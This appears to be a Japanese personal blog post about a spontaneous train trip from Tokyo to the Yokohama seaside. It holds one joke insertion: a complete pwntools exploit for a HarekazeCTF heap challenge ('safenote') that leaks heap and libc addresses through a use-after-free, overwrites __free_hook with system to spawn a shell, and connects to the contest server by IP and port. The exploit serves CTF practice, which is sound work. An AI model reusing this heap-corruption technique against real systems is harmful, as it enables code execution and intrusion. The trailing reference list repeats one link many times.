This entry is not about pwn.
1: サンタ来なかったけど
もう怒った!!!!!!!!
今年、ずっと都内から出てない!!!!!!!
もっと言うと、大学があるエリアと髪切りに行くエリア以外行ってない!!!!!!!
おうち飽きた!!!!!!!
思い立ったら即行動。
30分後には電車の中にいました。
改札の前に来て気づいたけど、PASMOを忘れました。財布とイヤホンとケータイだけ持ってきました。数億年ぶりにきっぷを買いました。
そして電車に乗って思い出したけど、僕、地図読めない...。
地図が読めないどころか路線案内みたいなやつも読めません。アプリ使ってそのとおりに行こうと思っても、大体迷ってしまう。
しかし今日は一味違う。予めTSG slackで海に行くと宣言してから行くことで、詳しい人に道案内してもらうことができる!!!
実際行く場所も乗る電車も教えてもらいました。
乗るホームを間違えたのが2回と、ホームはあってたけど方向を間違えたのを1回と、完全に合ってたけど特急じゃなくて各駅に乗ってしまうのを2回やったくらいで、あとは割とスムーズに行きました。
しかし、魔の泉岳寺 で大分迷ってしまいました。というのも、この泉岳寺は電車を降りてホームに乗った瞬間、同じホームの反対側に別の列車がとまっていて、乗客はほぼ全員そっちに乗り換えるという現象が発生します。僕は恐らくこの電車ではないだろうと確信していましたが、でも東京人が皆こっちに乗るのでそっちに乗りました。案の定、列車は今来た道を反対に遡っていきました。流石に違うと思いもう一度逆方向に乗って泉岳寺に行くと、なんとまたホームに同じ列車がとまっていて全員そっちに乗り換えるという現象が!!! これを2,3回繰り返して1時間くらいでなんだかとても怖くなったので、一旦ベンチに座ってみると、人混みが収まったくらいで目的の路線への道案内が見えてきました。よかった〜〜〜。
なんやかんや横浜につきました!!海!!!海!!!!まりん!!!
いや〜〜〜〜〜〜〜〜〜〜、1年以上触れていなかった自然。故郷に帰ってきた気分。故郷は思いっきり山だからやっぱり嘘。
これはブルーアワーっぽい時間帯の写真。
コレは砂浜の写真。水平線を見たくて来たけど、湾だと見れないって初めて知ったので次に期待。
これは魔法世界に行きそうな電車の写真。
これは結構好きな木に囲まれた道。
これは昨日やってたHarekazeCTFのpwnのexploit。
#!/usr/bin/env python #encoding: utf-8; from pwn import * import sys FILENAME = "./safenote" LIBCNAME = "./libc.so.6" hosts = ("20.48.83.103","localhost","localhost") ports = (20004,12300,23947) rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker context(os='linux',arch='amd64') binf = ELF(FILENAME) libc = ELF(LIBCNAME) if LIBCNAME!="" else None ## utilities ######################################### ents = [None for i in range(7)] def hoge(ix): global c c.recvuntil("> ") c.sendline(str(ix)) def _alloc(ix, sz, data): global c, ents assert(ix<7 and sz<=0x70) hoge(1) c.recvuntil("Index: ") c.sendline(str(ix)) c.recvuntil("Size: ") c.sendline(str(sz)) c.recvuntil("Content: ") if len(data)<sz: data += b"\n" c.send(data) ents[ix] = data def _show(ix): global c, ents assert(ix<7 and ents[ix]!=None) hoge(2) c.recvuntil("Index: ") c.sendline(str(ix)) return c.recvline().rstrip() def _copy(srcix, dstix): global c, ents assert(srcix<7 and dstix<7 and ents[srcix]!=None) hoge(4) c.recvuntil("Index (src): ") c.sendline(str(srcix)) c.recvuntil("Index (dest): ") c.sendline(str(dstix)) assert("No enough" not in c.recvline()) ents[dstix] = ents[srcix] def _move(srcix, dstix, fq=False): global c, ents assert(srcix<7 and dstix<7 and ents[srcix]!=None) hoge(3) c.recvuntil("Index (src): ") c.sendline(str(srcix)) c.recvuntil("Index (dest): ") c.sendline(str(dstix)) if fq: return assert("No enough" not in c.recvline()) tmp = ents[srcix] ents[srcix] = None ents[dstix] = tmp def check(): print(ents) ## exploit ########################################### def decr(Pd): L = Pd >> 36 for i in range(3): temp = (Pd >> (36-(i+1)*8)) & 0xff element = ((L>>4) ^ temp) & 0xff L = (L<<8) + element return L def enc(chunk_itself_addr, target_addr): return (chunk_itself_addr>>12) ^ target_addr def exploit(): global c _alloc(0, 0x50, "A"*0x40) # なんとなく _alloc(1, 0x50, "B"*0x40) # 色々操作 _alloc(2, 0x50, "D"*0x40) # victim _alloc(3, 0x50, "C"*0x40) # ずっとtcacheに繋げとく用 _move(3, 4) check() _move(1, 1) # UAF#1 lk = unpack(_show(1).ljust(8,'\x00')) heapbase = decr(lk) << 12 print("[!] leak: "+hex(lk)) print("[+] decrypted L: "+hex(decr(lk))) print("[+] heapbase: "+hex(heapbase)) # unsortedの生成 ## ファンデーション _alloc(6, 0x10, "E"*0x8) _alloc(6, 0x70, "G"*0x60) # あとでleakする用 for i in range(0x9): if i == 4: _alloc(3, 0x20, p64(0x21)*(0x20/0x8-1)) _alloc(3, 0x40, p64(0x21)*(0x40/0x8-1)) _alloc(4, 0x70, p64(0x21)*(0x70/0x8-1)) ## 本ちゃん _alloc(1, 0x50, "B"*0x40) _alloc(5, 0x48, p64(enc(heapbase+0x2f0, heapbase+0x2f0+0x60)) + p64(0)) # copy用 _move(1,1) # UAF [0x60] -> #1 -> #2 _copy(5, 1) # fd書き換え _alloc(1, 0x50, "X"*0x30) pay = b"" pay += p64(0) + p64(0x421) _alloc(1, 0x50, pay) # overlapped chunkの生成 [0x60] -> #2 _move(2, 0) # fake chunk(0x421)をfree. unsorted 生成 _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x30, "X") _alloc(5, 0x60, "X") _alloc(5, 0x70, "X") # ここでfdが#3と重なる 残りサイズxx _alloc(5, 0x70, "X") # smallbinへ lk = unpack(_show(3).ljust(8,'\x00')) libcbase = lk - 0x1e3c20 freehook = libcbase + libc.symbols["__free_hook"] _system = libcbase + libc.symbols["system"] print("[!] leaked: "+hex(lk)) print("[!] libcbase: "+hex(libcbase)) # overwrite freehook _alloc(3, 0x40, "A") _alloc(4, 0x40, "A") pay = b"" pay += p64(enc(heapbase+0xaf0, freehook)) assert(len(pay)<=0x40) _alloc(5, 0x40, pay) # copy用 _move(4, 3) _move(3, 3) _copy(5, 3) # overwrite [0x50] -> #3 -> free_hook _alloc(1, 0x40, "/bin/sh\x00") _alloc(2, 0x40, p64(_system)) # @freehook # NIRUGIRI _move(1, 3, fq=True) ## main ############################################## if __name__ == "__main__": global c if len(sys.argv)>1: if sys.argv[1][0]=="d": cmd = """ set follow-fork-mode parent """ c = gdb.debug(FILENAME,cmd) elif sys.argv[1][0]=="r": c = remote(rhp1["host"],rhp1["port"]) elif sys.argv[1][0]=="v": c = remote(rhp3["host"],rhp3["port"]) else: c = remote(rhp2['host'],rhp2['port']) exploit() c.interactive()
まぁ海にいたのは実質15分くらいでした。電車の時間が異常に長い。
よく考えたら朝から何も飲まず喰わずだったので、最後に少しお水を飲んでから帰りました。
ここ一年は、本当におうちに引きこもって、土日でも平日でも全く関係なくパソコンをカタカタやっていたので、一年に一回くらいこういう息抜きも悪くないかなぁと思いました。
2: 参考
1: ニルギリ
https://www.youtube.com/watch?v=yvUvamhYPHw
2: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
3: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
4: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
5: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
6: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
7: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
8: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
9: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
10: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
11: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
12: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
13: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
14: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
15: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
16: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
17: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
18: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
19: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
20: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
21: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
22: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
23: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
24: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
25: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
26: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
27: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
28: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
29: もらぶろ
https://moraprogramming.hateblo.jp/entry/2013/08/19/093631
続く...